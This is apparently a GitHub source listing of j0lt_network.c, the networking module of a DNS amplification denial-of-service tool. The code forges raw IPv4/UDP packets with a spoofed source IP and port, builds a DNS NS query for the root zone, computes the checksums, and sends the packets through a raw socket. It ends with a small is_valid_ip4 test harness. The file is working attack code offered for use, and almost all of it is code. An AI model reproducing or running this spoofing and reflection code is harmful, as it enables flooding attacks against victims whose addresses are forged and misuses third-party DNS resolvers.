-
Notifications
You must be signed in to change notification settings - Fork 4
/
j0lt_network.c
331 lines (273 loc) · 10.8 KB
/
j0lt_network.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/nameser.h>
#include <netinet/udp.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
#include <ctype.h>
#include "io.h"
#include "j0lt.h"
#include "j0lt_network.h"
#define DEFINE_INSERT_FN(typename, datatype) \
bool insert_##typename(uint8_t * *buf, size_t * buflen, datatype data) { \
uint64_t msb_mask, lsb_mask, bigendian_data, lsb, msb; \
size_t byte_pos, nbits; \
\
if (*buflen < 1) { \
return false; \
} \
\
nbits = sizeof(data) << 3; \
bigendian_data = 0ULL; \
byte_pos = (nbits / 8) - 1; \
lsb_mask = 0xffULL; \
msb_mask = (lsb_mask << nbits) - 8; \
\
byte_pos = byte_pos << 3; \
for (int i = nbits >> 4; i != 0; i--) { \
lsb = (data & lsb_mask); \
msb = (data & msb_mask); \
lsb <<= byte_pos; \
msb >>= byte_pos; \
bigendian_data |= lsb | msb; \
msb_mask >>= 8; \
lsb_mask <<= 8; \
byte_pos -= (2 << 3); \
} \
\
data = bigendian_data == 0 ? data : bigendian_data; \
for (size_t i = sizeof(data); *buflen > 0 && i > 0; i--) { \
*(*buf)++ = (data & 0xff); \
data = (data >> 8); \
(*buflen)--; \
} \
\
return data == 0; \
}
DEFINE_INSERT_FN(byte, uint8_t)
DEFINE_INSERT_FN(word, uint16_t)
DEFINE_INSERT_FN(dword, uint32_t)
DEFINE_INSERT_FN(qword, uint64_t)
#undef DEFINE_INSERT_FN
bool is_valid_ip4(const char *str) {
int segments = 0;
int ch_count = 0;
if (str == NULL) {
return false;
}
while (*str != '\0') {
if (!isdigit(*str) || ch_count == 3) {
return false;
}
if (ch_count == 0 && segments != 0) {
if (*(str - 1) != '.') {
return false;
}
}
ch_count++;
str++;
if (*str == '.' || *str == '\0') {
if (ch_count > 3) {
return false;
}
int val = atoi(str - ch_count);
if (val < 0 || val > 255) {
return false;
}
if (*str == '.') str++;
segments++;
ch_count = 0;
}
}
return segments == 4;
}
// [TODO] refactor this ugly ass pos
size_t forge_j0lt_packet(char *payload, uint32_t resolvip, uint32_t spoofip,
uint16_t spoofport) {
const char *url = ".";
uint8_t pktbuf[NS_PACKETSZ], datagram[NS_PACKETSZ];
uint8_t *curpos;
size_t buflen, nwritten, szdatagram, udpsz;
bool status;
PSEUDOHDR pseudoheader;
buflen = NS_PACKETSZ;
memset(pktbuf, 0, NS_PACKETSZ);
curpos = pktbuf;
status = true;
status &= insert_dns_header(&curpos, &buflen);
status &=
insert_dns_question((void **)&curpos, &buflen, url, ns_t_ns, ns_c_in);
if (status == false) return 0;
memset(datagram, 0, NS_PACKETSZ);
curpos = datagram;
udpsz = NS_PACKETSZ - buflen + sizeof(struct udphdr);
status &= insert_ip_header(&curpos, &buflen, &pseudoheader, resolvip, spoofip,
udpsz);
status &= insert_udp_header(&curpos, &buflen, &pseudoheader, pktbuf, udpsz,
spoofport);
if (status == false) return 0;
szdatagram = buflen;
insert_data((void **)&curpos, &szdatagram, pktbuf, udpsz);
nwritten = NS_PACKETSZ - buflen;
memcpy(payload, datagram, nwritten);
return nwritten;
}
bool insert_dns_header(uint8_t **buf, size_t *buflen) {
bool status;
uint8_t third_byte, fourth_byte;
third_byte = (DNS_RD_J0LT | DNS_TC_J0LT << 1 | DNS_AA_J0LT << 2 |
DNS_OPCODE_J0LT << 3 | DNS_QR_J0LT << 7);
fourth_byte = (DNS_RCODE_J0LT | DNS_CD_J0LT << 4 | DNS_AD_J0LT << 5 |
DNS_Z_J0LT << 6 | DNS_RA_J0LT << 7);
status = true;
status &= insert_word(buf, buflen, DNS_ID_J0LT);
status &= insert_byte(buf, buflen, third_byte);
status &= insert_byte(buf, buflen, fourth_byte);
status &= insert_word(buf, buflen, DNS_QDCOUNT_J0LT);
status &= insert_word(buf, buflen, DNS_ANCOUNT_J0LT);
status &= insert_word(buf, buflen, DNS_NSCOUNT_J0LT);
status &= insert_word(buf, buflen, DNS_ARCOUNT_J0LT);
return status;
}
bool insert_dns_question(void **buf, size_t *buflen, const char *domain,
uint16_t query_type, uint16_t query_class) {
const char *token;
char *saveptr, qname[NS_PACKETSZ];
size_t srclen, domainlen, dif;
bool status;
dif = *buflen;
domainlen = strlen(domain) + 1;
if (domainlen > NS_PACKETSZ - 1) return false;
memcpy(qname, domain, domainlen);
if (qname[0] != '.') {
token = strtok_r(qname, ".", &saveptr);
if (token == NULL) return false;
while (token != NULL) {
srclen = strlen(token);
insert_byte((uint8_t **)buf, buflen, srclen);
insert_data(buf, buflen, token, srclen);
token = strtok_r(NULL, ".", &saveptr);
}
}
status = true;
status &= insert_byte((uint8_t **)buf, buflen, 0x00);
status &= insert_word((uint8_t **)buf, buflen, query_type);
status &= insert_word((uint8_t **)buf, buflen, query_class);
dif -= *buflen;
if (dif % 2 != 0) // pad
status &= insert_byte((uint8_t **)buf, buflen, 0x00);
return status;
}
bool insert_udp_header(uint8_t **buf, size_t *buflen, PSEUDOHDR *phdr,
const uint8_t *data, size_t ulen, uint16_t sport) {
bool status;
size_t totalsz = sizeof(PSEUDOHDR) + ulen;
size_t datasz = (ulen - sizeof(struct udphdr));
size_t udpsofar;
uint16_t checksum;
uint8_t pseudo[totalsz];
uint8_t *pseudoptr = pseudo;
status = true;
status &= insert_word(buf, buflen, sport);
status &= insert_word(buf, buflen, NS_DEFAULTPORT);
status &= insert_word(buf, buflen, (uint16_t)ulen);
udpsofar = sizeof(struct udphdr) - 2;
memset(pseudo, 0, totalsz);
insert_dword(&pseudoptr, &totalsz, phdr->sourceaddr);
insert_dword(&pseudoptr, &totalsz, phdr->destaddr);
insert_byte(&pseudoptr, &totalsz, phdr->zero);
insert_byte(&pseudoptr, &totalsz, phdr->protocol);
insert_word(&pseudoptr, &totalsz, sizeof(struct udphdr));
*buf -= udpsofar;
insert_data((void **)&pseudoptr, (void *)&totalsz, *buf, udpsofar + 2);
*buf += udpsofar;
insert_data((void **)&pseudoptr, (void *)&totalsz, data, datasz);
checksum = j0lt_checksum((uint16_t *)pseudo, sizeof(PSEUDOHDR) + ulen);
checksum -= datasz; // wtf...
status &= insert_word(buf, buflen, checksum);
return status;
}
bool insert_ip_header(uint8_t **buf, size_t *buflen, PSEUDOHDR *pheader,
uint32_t daddr, uint32_t saddr, size_t ulen) {
bool status;
uint8_t *bufptr = *buf;
uint8_t first_byte;
uint16_t checksum;
status = true;
first_byte = IP_VER_J0LT << 4 | IP_IHL_MIN_J0LT;
status &= insert_byte(buf, buflen, first_byte);
status &= insert_byte(buf, buflen, 0x00); // TOS
status &=
insert_word(buf, buflen, (IP_IHL_MIN_J0LT << 2) + ulen); // total len
status &= insert_word(buf, buflen, IP_ID_J0LT);
status &= insert_word(buf, buflen, IP_OF_J0LT);
status &= insert_byte(buf, buflen, IP_TTL_J0LT);
status &= insert_byte(buf, buflen, getprotobyname("udp")->p_proto);
status &= insert_word(buf, buflen, 0x0000);
status &= insert_dword(buf, buflen, saddr);
status &= insert_dword(buf, buflen, daddr);
checksum =
j0lt_checksum((const uint16_t *)bufptr, (size_t)(IP_IHL_MIN_J0LT << 2));
*buf -= 0xa;
*(*buf)++ = (checksum & 0xff00) >> 8;
**buf = checksum & 0xff;
*buf += 9;
memset(pheader, 0, sizeof(PSEUDOHDR));
pheader->protocol = getprotobyname("udp")->p_proto;
pheader->destaddr = daddr;
pheader->sourceaddr = saddr;
return status;
}
bool send_payload(const uint8_t *datagram, uint32_t daddr, uint16_t uh_dport,
size_t nwritten) {
int raw_sockfd;
ssize_t nread;
struct sockaddr_in addr;
raw_sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_sockfd == -1) err_exit("* fatal socket error run using sudo");
addr.sin_family = AF_INET;
addr.sin_port = uh_dport;
addr.sin_addr.s_addr = daddr;
nread = sendto(raw_sockfd, datagram, nwritten, 0,
(const struct sockaddr *)&addr, sizeof(addr));
close(raw_sockfd);
return !(nread == -1 || (size_t)nread != nwritten);
}
uint16_t j0lt_checksum(const uint16_t *addr, size_t count) {
register uint64_t sum = 0;
while (count > 1) {
sum += *(uint16_t *)addr++;
count -= 2;
}
if (count > 0) sum += *(uint8_t *)addr;
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
return ~((uint16_t)((sum << 8) | (sum >> 8)));
}
#if defined(TEST_J0LT_NETWORK)
int main(void) {
char payload[NS_PACKETSZ];
size_t szpayload;
// write valid tests for is_valid_ip4
assert(is_valid_ip4("127.0.0.1")); // true
printf("+ passed is_valid_ip4 test number 1\n");
assert(is_valid_ip4("0.0.0.0")); // true
printf("+ passed is_valid_ip4 test number 2\n");
assert(is_valid_ip4("255.255.255.255")); // true
printf("+ passed is_valid_ip4 test number 3\n");
// write invalid tests for is_valid_ip4
assert(!is_valid_ip4("256.0.0.0")); // false
printf("+ passed is_valid_ip4 test number 4\n");
assert(!is_valid_ip4("asshole")); // false
printf("+ passed is_valid_ip4 test number 5\n");
// szpayload = forge_j0lt_packet(payload, htonl(0x08080808),
// htonl(0x08080808), htons(53)); print_hex(payload, szpayload);
return 0;
}
#endif // TEST_J0LT_NETWORK